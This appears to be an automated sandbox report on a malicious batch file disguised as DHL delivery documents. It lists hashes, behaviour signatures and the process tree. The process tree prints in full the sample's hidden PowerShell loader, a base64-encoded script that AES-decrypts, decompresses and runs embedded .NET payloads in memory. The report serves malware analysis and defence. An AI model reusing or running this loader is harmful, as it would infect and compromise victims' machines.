Analysis
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max time kernel
15s -
max time network
16s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
04/03/2025, 09:30
Static task
static1
Behavioral task
behavioral1
Sample
awb_post_dhl_delivery_documents_03_03_2025_0000000000.bat
Resource
win7-20240729-en
4 signatures
150 seconds
General
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Target
awb_post_dhl_delivery_documents_03_03_2025_0000000000.bat
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Size
64KB
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MD5
c9e1c4149f24616a23b6849386c8a045
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SHA1
5a37e61994c77777c7bb6953eed8d336ad67645c
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SHA256
e2e4a15190051f6a87bb10eab12b12744580d7d69b56c2c38a278865f10c2921
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SHA512
52b92498d60e90d4f86751c8a682c80aa2cbacfab808f0c85d289491c8754d6e16649c750cd6e79024ef7052fc11a968efc23e2ace86ebe3aa8dc04c44f957dc
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SSDEEP
1536:FmZkbmEKUgXEXzICKUnFevg9GPlv4hULBsbVnHk/bGvSHe5BNR:F3Hf0IkqbtHk/bGg83R
Score
8/10
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2552 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2552 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2552 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2604 wrote to memory of 1132 2604 cmd.exe 31 PID 2604 wrote to memory of 1132 2604 cmd.exe 31 PID 2604 wrote to memory of 1132 2604 cmd.exe 31 PID 1132 wrote to memory of 2552 1132 cmd.exe 33 PID 1132 wrote to memory of 2552 1132 cmd.exe 33 PID 1132 wrote to memory of 2552 1132 cmd.exe 33
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_03_03_2025_0000000000.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2604 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_03_03_2025_0000000000.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:1132 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskaXdsanAgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGl3bGpwKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRpd2xqcCIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRpd2xqcCwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkaXdsanAiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gamJheWUoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0kvbHMzQUxBRG5qQlA3MGZOSUZQQnJ0QUlKLzY3YWJyS24xbUZkYWd1aGc9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3hSeWFtOERtNnNIZHUwbWRXT2dCakE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gY2l0am4oJHBhcmFtX3Zhcil7CSRhdmhlZD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkaHNwamI9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkZnVyZXI9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkYXZoZWQsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGZ1cmVyLkNvcHlUbygkaHNwamIpOwkkZnVyZXIuRGlzcG9zZSgpOwkkYXZoZWQuRGlzcG9zZSgpOwkkaHNwamIuRGlzcG9zZSgpOwkkaHNwamIuVG9BcnJheSgpO31mdW5jdGlvbiBkbXNrZigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJGN1dGtxPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGhkZndiPSRjdXRrcS5FbnRyeVBvaW50OwkkaGRmd2IuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGl3bGpwOyRqYXZzej1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGl3bGpwKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkamR1IGluICRqYXZzeikgewlpZiAoJGpkdS5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGVzYXRtPSRqZHUuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGdzY2RxPVtzdHJpbmdbXV0kZXNhdG0uU3BsaXQoJ1wnKTskanhkbW49Y2l0am4gKGpiYXllIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGdzY2RxWzBdKSkpOyRpcXJxdD1jaXRqbiAoamJheWUgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZ3NjZHFbMV0pKSk7ZG1za2YgJGp4ZG1uICRudWxsO2Rtc2tmICRpcXJxdCAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2552
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